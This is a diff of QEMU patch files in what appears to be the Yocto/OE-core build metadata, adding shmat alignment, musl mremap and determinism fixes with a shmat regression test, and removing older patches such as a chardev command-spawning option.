+Handle SHM_EXEC.
+
+Upstream-Status: Submitted [https://www.mail-archive.com/qemu-devel@nongnu.org/msg1026793.html]
+
+Resolves: https://gitlab.com/qemu-project/qemu/-/issues/115
+Signed-off-by: Richard Henderson <richard.henderson@linaro.org>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ linux-user/mmap.c | 166 +++++++++++++++++++++++++++++++++++++---------
+ 1 file changed, 133 insertions(+), 33 deletions(-)
+
+diff --git a/linux-user/mmap.c b/linux-user/mmap.c
+index 18fb3aaf7..6a2f649bb 100644
+--- a/linux-user/mmap.c
++++ b/linux-user/mmap.c
+@@ -1062,69 +1062,161 @@ static inline abi_ulong target_shmlba(CPUArchState *cpu_env)
+ }
+ #endif
+
++#if defined(__arm__) || defined(__mips__) || defined(__sparc__)
++#define HOST_FORCE_SHMLBA 1
++#else
++#define HOST_FORCE_SHMLBA 0
++#endif
++
+ abi_ulong target_shmat(CPUArchState *cpu_env, int shmid,
+ abi_ulong shmaddr, int shmflg)
+ {
+ CPUState *cpu = env_cpu(cpu_env);
+- abi_ulong raddr;
+ struct shmid_ds shm_info;
+ int ret;
+- abi_ulong shmlba;
++ int h_pagesize;
++ int t_shmlba, h_shmlba, m_shmlba;
++ size_t t_len, h_len, m_len;
+
+ /* shmat pointers are always untagged */
+
+- /* find out the length of the shared memory segment */
++ /*
++ * Because we can't use host shmat() unless the address is sufficiently
++ * aligned for the host, we'll need to check both.
++ * TODO: Could be fixed with softmmu.
++ */
++ t_shmlba = target_shmlba(cpu_env);
++ h_pagesize = qemu_real_host_page_size();
++ h_shmlba = (HOST_FORCE_SHMLBA ? SHMLBA : h_pagesize);
++ m_shmlba = MAX(t_shmlba, h_shmlba);
++
++ if (shmaddr) {
++ if (shmaddr & (m_shmlba - 1)) {
++ if (shmflg & SHM_RND) {
++ /*
++ * The guest is allowing the kernel to round the address.
++ * Assume that the guest is ok with us rounding to the
++ * host required alignment too. Anyway if we don't, we'll
++ * get an error from the kernel.
++ */
++ shmaddr &= ~(m_shmlba - 1);
++ if (shmaddr == 0 && (shmflg & SHM_REMAP)) {
++ return -TARGET_EINVAL;
++ }
++ } else {
++ int require = TARGET_PAGE_SIZE;
++#ifdef TARGET_FORCE_SHMLBA
++ require = t_shmlba;
++#endif
++ /*
++ * Include host required alignment, as otherwise we cannot
++ * use host shmat at all.
++ */
++ require = MAX(require, h_shmlba);
++ if (shmaddr & (require - 1)) {
++ return -TARGET_EINVAL;
++ }
++ }
++ }
++ } else {
++ if (shmflg & SHM_REMAP) {
++ return -TARGET_EINVAL;
++ }
++ }
++ /* All rounding now manually concluded. */
++ shmflg &= ~SHM_RND;
++
++ /* Find out the length of the shared memory segment. */
+ ret = get_errno(shmctl(shmid, IPC_STAT, &shm_info));
+ if (is_error(ret)) {
+ /* can't get length, bail out */
+ return ret;
+ }
++ t_len = TARGET_PAGE_ALIGN(shm_info.shm_segsz);
++ h_len = ROUND_UP(shm_info.shm_segsz, h_pagesize);
++ m_len = MAX(t_len, h_len);
+
+- shmlba = target_shmlba(cpu_env);
+-
+- if (shmaddr & (shmlba - 1)) {
+- if (shmflg & SHM_RND) {
+- shmaddr &= ~(shmlba - 1);
+- } else {
+- return -TARGET_EINVAL;
+- }
+- }
+- if (!guest_range_valid_untagged(shmaddr, shm_info.shm_segsz)) {
++ if (!guest_range_valid_untagged(shmaddr, m_len)) {
+ return -TARGET_EINVAL;
+ }
+
+ WITH_MMAP_LOCK_GUARD() {
+- void *host_raddr;
++ bool mapped = false;
++ void *want, *test;
+ abi_ulong last;
+
+- if (shmaddr) {
+- host_raddr = shmat(shmid, (void *)g2h_untagged(shmaddr), shmflg);
++ if (!shmaddr) {
++ shmaddr = mmap_find_vma(0, m_len, m_shmlba);
++ if (shmaddr == -1) {
++ return -TARGET_ENOMEM;
++ }
++ mapped = !reserved_va;
++ } else if (shmflg & SHM_REMAP) {
++ /*
++ * If host page size > target page size, the host shmat may map
++ * more memory than the guest expects. Reject a mapping that
++ * would replace memory in the unexpected gap.
++ * TODO: Could be fixed with softmmu.
++ */
++ if (t_len < h_len &&
++ !page_check_range_empty(shmaddr + t_len,
++ shmaddr + h_len - 1)) {
++ return -TARGET_EINVAL;
++ }
+ } else {
+- abi_ulong mmap_start;
++ if (!page_check_range_empty(shmaddr, shmaddr + m_len - 1)) {
++ return -TARGET_EINVAL;
++ }
++ }
+
+- /* In order to use the host shmat, we need to honor host SHMLBA. */
+- mmap_start = mmap_find_vma(0, shm_info.shm_segsz,
+- MAX(SHMLBA, shmlba));
++ /* All placement is now complete. */
++ want = (void *)g2h_untagged(shmaddr);
+
+- if (mmap_start == -1) {
+- return -TARGET_ENOMEM;
++ /*
++ * Map anonymous pages across the entire range, then remap with
++ * the shared memory. This is required for a number of corner
++ * cases for which host and guest page sizes differ.
++ */
++ if (h_len != t_len) {
++ int mmap_p = PROT_READ | (shmflg & SHM_RDONLY ? 0 : PROT_WRITE);
++ int mmap_f = MAP_PRIVATE | MAP_ANONYMOUS
++ | (reserved_va || (shmflg & SHM_REMAP)
++ ? MAP_FIXED : MAP_FIXED_NOREPLACE);
++
++ test = mmap(want, m_len, mmap_p, mmap_f, -1, 0);
++ if (unlikely(test != want)) {
++ /* shmat returns EINVAL not EEXIST like mmap. */
++ ret = (test == MAP_FAILED && errno != EEXIST
++ ? get_errno(-1) : -TARGET_EINVAL);
++ if (mapped) {
++ do_munmap(want, m_len);
++ }
++ return ret;
+ }
+- host_raddr = shmat(shmid, g2h_untagged(mmap_start),
+- shmflg | SHM_REMAP);
++ mapped = true;
+ }
+
+- if (host_raddr == (void *)-1) {
+- return get_errno(-1);
++ if (reserved_va || mapped) {
++ shmflg |= SHM_REMAP;
++ }
++ test = shmat(shmid, want, shmflg);
++ if (test == MAP_FAILED) {
++ ret = get_errno(-1);
++ if (mapped) {
++ do_munmap(want, m_len);
++ }
++ return ret;
+ }
+- raddr = h2g(host_raddr);
+- last = raddr + shm_info.shm_segsz - 1;
++ assert(test == want);
+
+- page_set_flags(raddr, last,
++ last = shmaddr + m_len - 1;
++ page_set_flags(shmaddr, last,
+ PAGE_VALID | PAGE_RESET | PAGE_READ |
+- (shmflg & SHM_RDONLY ? 0 : PAGE_WRITE));
++ (shmflg & SHM_RDONLY ? 0 : PAGE_WRITE) |
++ (shmflg & SHM_EXEC ? PAGE_EXEC : 0));
+
+- shm_region_rm_complete(raddr, last);
+- shm_region_add(raddr, last);
++ shm_region_rm_complete(shmaddr, last);
++ shm_region_add(shmaddr, last);
+ }
+
+ /*
+@@ -1138,7 +1230,15 @@ abi_ulong target_shmat(CPUArchState *cpu_env, int shmid,
+ tb_flush(cpu);
+ }
+
+- return raddr;
++ if (qemu_loglevel_mask(CPU_LOG_PAGE)) {
++ FILE *f = qemu_log_trylock();
++ if (f) {
++ fprintf(f, "page layout changed following shmat\n");
++ page_dump(f);
++ qemu_log_unlock(f);
++ }
++ }
++ return shmaddr;
+ }
+
+ abi_long target_shmdt(abi_ulong shmaddr)
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch b/meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch
deleted file mode 100644
index bc30397e8c..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 4127296bb1046cdf73994ba69dc913d8c02fd74f Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Tue, 20 Oct 2015 22:19:08 +0100
-Subject: [PATCH] qemu: disable Valgrind
-
-There isn't an option to enable or disable valgrind support, so disable it to avoid non-deterministic builds.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
----
- configure | 9 ---------
- 1 file changed, 9 deletions(-)
-
-diff --git a/configure b/configure
-index 6099be1d..a766017b 100755
---- a/configure
-+++ b/configure
-@@ -5390,15 +5390,6 @@ fi
- # check if we have valgrind/valgrind.h
-
- valgrind_h=no
--cat > $TMPC << EOF
--#include <valgrind/valgrind.h>
--int main(void) {
-- return 0;
--}
--EOF
--if compile_prog "" "" ; then
-- valgrind_h=yes
--fi
-
- ########################################
- # check if environ is declared
diff --git a/meta/recipes-devtools/qemu/qemu/0005-qemu-Do-not-include-file-if-not-exists.patch b/meta/recipes-devtools/qemu/qemu/0005-qemu-Do-not-include-file-if-not-exists.patch
new file mode 100644
index 0000000000..38aa4c3bbe
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0005-qemu-Do-not-include-file-if-not-exists.patch
@@ -0,0 +1,32 @@
+From f39e7bfc5ed07b5ecaeb705c4eae4855ca120d47 Mon Sep 17 00:00:00 2001
+From: Oleksiy Obitotskyy <oobitots@cisco.com>
+Date: Wed, 25 Mar 2020 21:21:35 +0200
+Subject: [PATCH 05/12] qemu: Do not include file if not exists
+
+Script configure checks for if_alg.h and check failed but
+if_alg.h still included.
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/qemu-devel/2020-03/msg07188.html]
+Signed-off-by: Oleksiy Obitotskyy <oobitots@cisco.com>
+
+[update patch context]
+Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
+
+---
+ linux-user/syscall.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+Index: qemu-8.0.0/linux-user/syscall.c
+===================================================================
+--- qemu-8.0.0.orig/linux-user/syscall.c
++++ qemu-8.0.0/linux-user/syscall.c
+@@ -115,7 +115,9 @@
+ #include <linux/blkpg.h>
+ #include <netpacket/packet.h>
+ #include <linux/netlink.h>
++#if defined(CONFIG_AF_ALG)
+ #include <linux/if_alg.h>
++#endif
+ #include <linux/rtc.h>
+ #include <sound/asound.h>
+ #ifdef HAVE_BTRFS_H
diff --git a/meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch b/meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch
deleted file mode 100644
index 2c5b241e41..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 230fe5804099bdca0c9e4cae7280c9fc513cb7f5 Mon Sep 17 00:00:00 2001
-From: Stephen Arnold <sarnold@vctlabs.com>
-Date: Sun, 12 Jun 2016 18:09:56 -0700
-Subject: [PATCH] qemu-native: set ld.bfd, fix cflags, and set some environment
-
-Upstream-Status: Pending
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- configure | 4 ----
- 1 file changed, 4 deletions(-)
-
-diff --git a/configure b/configure
-index 83c65439..6bdf488c 100755
---- a/configure
-+++ b/configure
-@@ -6251,10 +6251,6 @@ write_c_skeleton
- if test "$gcov" = "yes" ; then
- QEMU_CFLAGS="-fprofile-arcs -ftest-coverage -g $QEMU_CFLAGS"
- QEMU_LDFLAGS="-fprofile-arcs -ftest-coverage $QEMU_LDFLAGS"
--elif test "$fortify_source" = "yes" ; then
-- CFLAGS="-O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 $CFLAGS"
--elif test "$debug" = "no"; then
-- CFLAGS="-O2 $CFLAGS"
- fi
-
- if test "$have_asan" = "yes"; then
---
-2.24.0
-
diff --git a/meta/recipes-devtools/qemu/qemu/0005-tests-tcg-Check-that-shmat-does-not-break-proc-self-.patch b/meta/recipes-devtools/qemu/qemu/0005-tests-tcg-Check-that-shmat-does-not-break-proc-self-.patch
new file mode 100644
index 0000000000..5afb35ea0c
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0005-tests-tcg-Check-that-shmat-does-not-break-proc-self-.patch
@@ -0,0 +1,85 @@
+From 1234063488134ad1f541f56dd30caa7896905f06 Mon Sep 17 00:00:00 2001
+From: Ilya Leoshkevich <iii@linux.ibm.com>
+Date: Wed, 28 Feb 2024 10:25:18 -1000
+Subject: [PATCH 5/5] tests/tcg: Check that shmat() does not break
+ /proc/self/maps
+
+Add a regression test for a recently fixed issue, where shmat()
+desynced the guest and the host view of the address space and caused
+open("/proc/self/maps") to SEGV.
+
+Upstream-Status: Submitted [https://www.mail-archive.com/qemu-devel@nongnu.org/msg1026793.html]
+
+Signed-off-by: Ilya Leoshkevich <iii@linux.ibm.com>
+Message-Id: <jwyuvao4apydvykmsnvacwshdgy3ixv7qvkh4dbxm3jkwgnttw@k4wpaayou7oq>
+Signed-off-by: Richard Henderson <richard.henderson@linaro.org>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ tests/tcg/multiarch/linux/linux-shmat-maps.c | 55 ++++++++++++++++++++
+ 1 file changed, 55 insertions(+)
+ create mode 100644 tests/tcg/multiarch/linux/linux-shmat-maps.c
+
+diff --git a/tests/tcg/multiarch/linux/linux-shmat-maps.c b/tests/tcg/multiarch/linux/linux-shmat-maps.c
+new file mode 100644
+index 000000000..0ccf7a973
+--- /dev/null
++++ b/tests/tcg/multiarch/linux/linux-shmat-maps.c
+@@ -0,0 +1,55 @@
++/*
++ * Test that shmat() does not break /proc/self/maps.
++ *
++ * SPDX-License-Identifier: GPL-2.0-or-later
++ */
++#include <assert.h>
++#include <fcntl.h>
++#include <stdlib.h>
++#include <sys/ipc.h>
++#include <sys/shm.h>
++#include <unistd.h>
++
++int main(void)
++{
++ char buf[128];
++ int err, fd;
++ int shmid;
++ ssize_t n;
++ void *p;
++
++ shmid = shmget(IPC_PRIVATE, 1, IPC_CREAT | 0600);
++ assert(shmid != -1);
++
++ /*
++ * The original bug required a non-NULL address, which skipped the
++ * mmap_find_vma step, which could result in a host mapping smaller
++ * than the target mapping. Choose an address at random.
++ */
++ p = shmat(shmid, (void *)0x800000, SHM_RND);
++ if (p == (void *)-1) {
++ /*
++ * Because we are now running the testcase for all guests for which
++ * we have a cross-compiler, the above random address might conflict
++ * with the guest executable in some way. Rather than stopping,
++ * continue with a system supplied address, which should never fail.
++ */
++ p = shmat(shmid, NULL, 0);
++ assert(p != (void *)-1);
++ }
++
++ fd = open("/proc/self/maps", O_RDONLY);
++ assert(fd != -1);
++ do {
++ n = read(fd, buf, sizeof(buf));
++ assert(n >= 0);
++ } while (n != 0);
++ close(fd);
++
++ err = shmdt(p);
++ assert(err == 0);
++ err = shmctl(shmid, IPC_RMID, NULL);
++ assert(err == 0);
++
++ return EXIT_SUCCESS;
++}
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch b/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch
deleted file mode 100644
index 0810ae84c0..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch
+++ /dev/null
@@ -1,239 +0,0 @@
-From bcc63f775e265df69963a4ad7805b8678ace68f0 Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair.francis@xilinx.com>
-Date: Thu, 21 Dec 2017 11:35:16 -0800
-Subject: [PATCH] chardev: connect socket to a spawned command
-
-The command is started in a shell (sh -c) with stdin connect to QEMU
-via a Unix domain stream socket. QEMU then exchanges data via its own
-end of the socket, just like it normally does.
-
-"-chardev socket" supports some ways of connecting via protocols like
-telnet, but that is only a subset of the functionality supported by
-tools socat. To use socat instead, for example to connect via a socks
-proxy, use:
-
- -chardev 'socket,id=socat,cmd=exec socat FD:0 SOCKS4A:socks-proxy.localdomain:example.com:9999,,socksuser=nobody' \
- -device usb-serial,chardev=socat
-
-Beware that commas in the command must be escaped as double commas.
-
-Or interactively in the console:
- (qemu) chardev-add socket,id=cat,cmd=cat
- (qemu) device_add usb-serial,chardev=cat
- ^ac
- # cat >/dev/ttyUSB0
- hello
- hello
-
-Another usage is starting swtpm from inside QEMU. swtpm will
-automatically shut down once it looses the connection to the parent
-QEMU, so there is no risk of lingering processes:
-
- -chardev 'socket,id=chrtpm0,cmd=exec swtpm socket --terminate --ctrl type=unixio,,clientfd=0 --tpmstate dir=... --log file=swtpm.log' \
- -tpmdev emulator,id=tpm0,chardev=chrtpm0 \
- -device tpm-tis,tpmdev=tpm0
-
-The patch was discussed upstream, but QEMU developers believe that the
-code calling QEMU should be responsible for managing additional
-processes. In OE-core, that would imply enhancing runqemu and
-oeqa. This patch is a simpler solution.
-
-Because it is not going upstream, the patch was written so that it is
-as simple as possible.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
-
----
- chardev/char-socket.c | 101 ++++++++++++++++++++++++++++++++++++++++++
- chardev/char.c | 3 ++
- qapi/char.json | 5 +++
- 3 files changed, 109 insertions(+)
-
-diff --git a/chardev/char-socket.c b/chardev/char-socket.c
-index 185fe38d..54fa4234 100644
---- a/chardev/char-socket.c
-+++ b/chardev/char-socket.c
-@@ -1288,6 +1288,67 @@ static bool qmp_chardev_validate_socket(ChardevSocket *sock,
- return true;
- }
-
-+#ifndef _WIN32
-+static void chardev_open_socket_cmd(Chardev *chr,
-+ const char *cmd,
-+ Error **errp)
-+{
-+ int fds[2] = { -1, -1 };
-+ QIOChannelSocket *sioc = NULL;
-+ pid_t pid = -1;
-+ const char *argv[] = { "/bin/sh", "-c", cmd, NULL };
-+
-+ /*
-+ * We need a Unix domain socket for commands like swtpm and a single
-+ * connection, therefore we cannot use qio_channel_command_new_spawn()
-+ * without patching it first. Duplicating the functionality is easier.
-+ */
-+ if (socketpair(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC, 0, fds)) {
-+ error_setg_errno(errp, errno, "Error creating socketpair(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC)");
-+ goto error;
-+ }
-+
-+ pid = qemu_fork(errp);
-+ if (pid < 0) {
-+ goto error;
-+ }
-+
-+ if (!pid) {
-+ /* child */
-+ dup2(fds[1], STDIN_FILENO);
-+ execv(argv[0], (char * const *)argv);
-+ _exit(1);
-+ }
-+
-+ /*
-+ * Hand over our end of the socket pair to the qio channel.
-+ *
-+ * We don't reap the child because it is expected to keep
-+ * running. We also don't support the "reconnect" option for the
-+ * same reason.
-+ */
-+ sioc = qio_channel_socket_new_fd(fds[0], errp);
-+ if (!sioc) {
-+ goto error;
-+ }
-+ fds[0] = -1;
-+
-+ g_free(chr->filename);
-+ chr->filename = g_strdup_printf("cmd:%s", cmd);
-+ tcp_chr_new_client(chr, sioc);
-+
-+ error:
-+ if (fds[0] >= 0) {
-+ close(fds[0]);
-+ }
-+ if (fds[1] >= 0) {
-+ close(fds[1]);
-+ }
-+ if (sioc) {
-+ object_unref(OBJECT(sioc));
-+ }
-+}
-+#endif
-
- static void qmp_chardev_open_socket(Chardev *chr,
- ChardevBackend *backend,
-@@ -1296,6 +1357,9 @@ static void qmp_chardev_open_socket(Chardev *chr,
- {
- SocketChardev *s = SOCKET_CHARDEV(chr);
- ChardevSocket *sock = backend->u.socket.data;
-+#ifndef _WIN32
-+ const char *cmd = sock->cmd;
-+#endif
- bool do_nodelay = sock->has_nodelay ? sock->nodelay : false;
- bool is_listen = sock->has_server ? sock->server : true;
- bool is_telnet = sock->has_telnet ? sock->telnet : false;
-@@ -1361,6 +1425,14 @@ static void qmp_chardev_open_socket(Chardev *chr,
-
- update_disconnected_filename(s);
-
-+#ifndef _WIN32
-+ if (cmd) {
-+ chardev_open_socket_cmd(chr, cmd, errp);
-+
-+ /* everything ready (or failed permanently) before we return */
-+ *be_opened = true;
-+ } else
-+#endif
- if (s->is_listen) {
- if (qmp_chardev_open_socket_server(chr, is_telnet || is_tn3270,
- is_waitconnect, errp) < 0) {
-@@ -1380,9 +1452,26 @@ static void qemu_chr_parse_socket(QemuOpts *opts, ChardevBackend *backend,
- const char *host = qemu_opt_get(opts, "host");
- const char *port = qemu_opt_get(opts, "port");
- const char *fd = qemu_opt_get(opts, "fd");
-+#ifndef _WIN32
-+ const char *cmd = qemu_opt_get(opts, "cmd");
-+#endif
- SocketAddressLegacy *addr;
- ChardevSocket *sock;
-
-+#ifndef _WIN32
-+ if (cmd) {
-+ /*
-+ * Here we have to ensure that no options are set which are incompatible with
-+ * spawning a command, otherwise unmodified code that doesn't know about
-+ * command spawning (like socket_reconnect_timeout()) might get called.
-+ */
-+ if (path || sock->server || sock->has_telnet || sock->has_tn3270 || sock->reconnect || host || port || sock->tls_creds) {
-+ error_setg(errp, "chardev: socket: cmd does not support any additional options");
-+ return;
-+ }
-+ } else
-+#endif
-+
- if ((!!path + !!fd + !!host) != 1) {
- error_setg(errp,
- "Exactly one of 'path', 'fd' or 'host' required");
-@@ -1425,12 +1514,24 @@ static void qemu_chr_parse_socket(QemuOpts *opts, ChardevBackend *backend,
- sock->has_tls_authz = qemu_opt_get(opts, "tls-authz");
- sock->tls_authz = g_strdup(qemu_opt_get(opts, "tls-authz"));
-
-+#ifndef _WIN32
-+ sock->cmd = g_strdup(cmd);
-+#endif
-+
- addr = g_new0(SocketAddressLegacy, 1);
-+#ifndef _WIN32
-+ if (path || cmd) {
-+#else
- if (path) {
-+#endif
- UnixSocketAddress *q_unix;
- addr->type = SOCKET_ADDRESS_LEGACY_KIND_UNIX;
- q_unix = addr->u.q_unix.data = g_new0(UnixSocketAddress, 1);
-+#ifndef _WIN32
-+ q_unix->path = cmd ? g_strdup_printf("cmd:%s", cmd) : g_strdup(path);
-+#else
- q_unix->path = g_strdup(path);
-+#endif
- } else if (host) {
- addr->type = SOCKET_ADDRESS_LEGACY_KIND_INET;
- addr->u.inet.data = g_new(InetSocketAddress, 1);
-diff --git a/chardev/char.c b/chardev/char.c
-index 7b6b2cb1..0c2ca64b 100644
---- a/chardev/char.c
-+++ b/chardev/char.c
-@@ -837,6 +837,9 @@ QemuOptsList qemu_chardev_opts = {
- },{
- .name = "path",
- .type = QEMU_OPT_STRING,
-+ },{
-+ .name = "cmd",
-+ .type = QEMU_OPT_STRING,
- },{
- .name = "host",
- .type = QEMU_OPT_STRING,
-diff --git a/qapi/char.json b/qapi/char.json
-index a6e81ac7..517962c6 100644
---- a/qapi/char.json
-+++ b/qapi/char.json
-@@ -247,6 +247,10 @@
- #
- # @addr: socket address to listen on (server=true)
- # or connect to (server=false)
-+# @cmd: command to run via "sh -c" with stdin as one end of
-+# a AF_UNIX SOCK_DSTREAM socket pair. The other end
-+# is used by the chardev. Either an addr or a cmd can
-+# be specified, but not both.
- # @tls-creds: the ID of the TLS credentials object (since 2.6)
- # @tls-authz: the ID of the QAuthZ authorization object against which
- # the client's x509 distinguished name will be validated. This
-@@ -272,6 +276,7 @@
- ##
- { 'struct': 'ChardevSocket',
- 'data': { 'addr': 'SocketAddressLegacy',
-+ '*cmd': 'str',
- '*tls-creds': 'str',
- '*tls-authz' : 'str',
- '*server': 'bool',
diff --git a/meta/recipes-devtools/qemu/qemu/0006-qemu-Add-some-user-space-mmap-tweaks-to-address-musl.patch b/meta/recipes-devtools/qemu/qemu/0006-qemu-Add-some-user-space-mmap-tweaks-to-address-musl.patch
new file mode 100644
index 0000000000..5d1d7c6881
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0006-qemu-Add-some-user-space-mmap-tweaks-to-address-musl.patch
@@ -0,0 +1,49 @@
+From 375cae3dd6151ef33cae8f243f6a2c2da6c0c356 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Fri, 8 Jan 2021 17:27:06 +0000
+Subject: [PATCH 06/12] qemu: Add some user space mmap tweaks to address musl
+ 32 bit
+
+When using qemu-i386 to build qemux86 webkitgtk on musl, it sits in an
+infinite loop of mremap calls of ever decreasing/increasing addresses.
+
+I suspect something in the musl memory allocation code loops indefinitely
+if it only sees ENOMEM and only exits when it hits EFAULT.
+
+According to the docs, trying to mremap outside the address space
+can/should return EFAULT and changing this allows the build to succeed.
+
+A better return value for the other cases of invalid addresses is EINVAL
+rather than ENOMEM so adjust the other part of the test to this.
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/qemu-devel/2021-01/msg01355.html]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org
+
+---
+ linux-user/mmap.c | 10 +++++++---
+ 1 file changed, 7 insertions(+), 3 deletions(-)
+
+Index: qemu-8.0.0/linux-user/mmap.c
+===================================================================
+--- qemu-8.0.0.orig/linux-user/mmap.c
++++ qemu-8.0.0/linux-user/mmap.c
+@@ -776,12 +776,16 @@ abi_long target_mremap(abi_ulong old_add
+ int prot;
+ void *host_addr;
+
+- if (!guest_range_valid_untagged(old_addr, old_size) ||
+- ((flags & MREMAP_FIXED) &&
++ if (!guest_range_valid_untagged(old_addr, old_size)) {
++ errno = EFAULT;
++ return -1;
++ }
++
++ if (((flags & MREMAP_FIXED) &&
+ !guest_range_valid_untagged(new_addr, new_size)) ||
+ ((flags & MREMAP_MAYMOVE) == 0 &&
+ !guest_range_valid_untagged(old_addr, new_size))) {
+- errno = ENOMEM;
++ errno = EINVAL;
+ return -1;
+ }
+
diff --git a/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch b/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch
deleted file mode 100644
index 89baad9b7f..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From a59a98d100123030a4145e7efe3b8a001920a9f1 Mon Sep 17 00:00:00 2001
-From: Mark Asselstine <mark.asselstine@windriver.com>
-Date: Tue, 26 Feb 2013 11:43:28 -0500
-Subject: [PATCH] apic: fixup fallthrough to PIC
-
-Commit 0e21e12bb311c4c1095d0269dc2ef81196ccb60a [Don't route PIC
-interrupts through the local APIC if the local APIC config says so.]
-missed a check to ensure the local APIC is enabled. Since if the local
-APIC is disabled it doesn't matter what the local APIC config says.
-
-If this check isn't done and the guest has disabled the local APIC the
-guest will receive a general protection fault, similar to what is seen
-here:
-
-https://lists.gnu.org/archive/html/qemu-devel/2012-12/msg02304.html
-
-The GPF is caused by an attempt to service interrupt 0xffffffff. This
-comes about since cpu_get_pic_interrupt() calls apic_accept_pic_intr()
-(with the local APIC disabled apic_get_interrupt() returns -1).
-apic_accept_pic_intr() returns 0 and thus the interrupt number which
-is returned from cpu_get_pic_interrupt(), and which is attempted to be
-serviced, is -1.
-
-Signed-off-by: Mark Asselstine <mark.asselstine@windriver.com>
-Upstream-Status: Submitted [https://lists.gnu.org/archive/html/qemu-devel/2013-04/msg00878.html]
-Signed-off-by: He Zhe <zhe.he@windriver.com>
-
----
- hw/intc/apic.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/hw/intc/apic.c b/hw/intc/apic.c
-index 2a74f7b4..4d5da365 100644
---- a/hw/intc/apic.c
-+++ b/hw/intc/apic.c
-@@ -603,7 +603,7 @@ int apic_accept_pic_intr(DeviceState *dev)
- APICCommonState *s = APIC(dev);
- uint32_t lvt0;
-
-- if (!s)
-+ if (!s || !(s->spurious_vec & APIC_SV_ENABLE))
- return -1;
-
- lvt0 = s->lvt[APIC_LVT_LINT0];
diff --git a/meta/recipes-devtools/qemu/qemu/0007-qemu-Determinism-fixes.patch b/meta/recipes-devtools/qemu/qemu/0007-qemu-Determinism-fixes.patch
new file mode 100644
index 0000000000..d3f965e070
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0007-qemu-Determinism-fixes.patch
@@ -0,0 +1,31 @@
+From 50bab5c2605b609ea7ea154f57a9be96d656725a Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Mon, 1 Mar 2021 13:00:47 +0000
+Subject: [PATCH 07/12] qemu: Determinism fixes
+
+When sources are included within debug information, a couple of areas of the
+qemu build are not reproducible due to either full buildpaths or timestamps.
+
+Replace the full paths with relative ones. I couldn't figure out how to get
+meson to pass relative paths but we can fix that in the script.
+
+Upstream-Status: Pending [some version of all/part of this may be accepted]
+RP 2021/3/1
+
+---
+ scripts/decodetree.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+Index: qemu-8.0.0/scripts/decodetree.py
+===================================================================
+--- qemu-8.0.0.orig/scripts/decodetree.py
++++ qemu-8.0.0/scripts/decodetree.py
+@@ -1328,7 +1328,7 @@ def main():
+ toppat = ExcMultiPattern(0)
+
+ for filename in args:
+- input_file = filename
++ input_file = os.path.relpath(filename)
+ f = open(filename, 'rt', encoding='utf-8')
+ parse_file(f, toppat)
+ f.close()
diff --git a/meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch b/meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch
deleted file mode 100644
index 30bb4ddf26..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From cf8c9aac5243f506a1a3e8e284414f311cde04f5 Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair.francis@xilinx.com>
-Date: Wed, 17 Jan 2018 10:51:49 -0800
-Subject: [PATCH] linux-user: Fix webkitgtk hangs on 32-bit x86 target
-
-Since commit "linux-user: Tidy and enforce reserved_va initialization"
-(18e80c55bb6ec17c05ec0ba717ec83933c2bfc07) the Yocto webkitgtk build
-hangs when cross compiling for 32-bit x86 on a 64-bit x86 machine using
-musl.
-
-To fix the issue reduce the MAX_RESERVED_VA macro to be a closer match
-to what it was before the problematic commit.
-
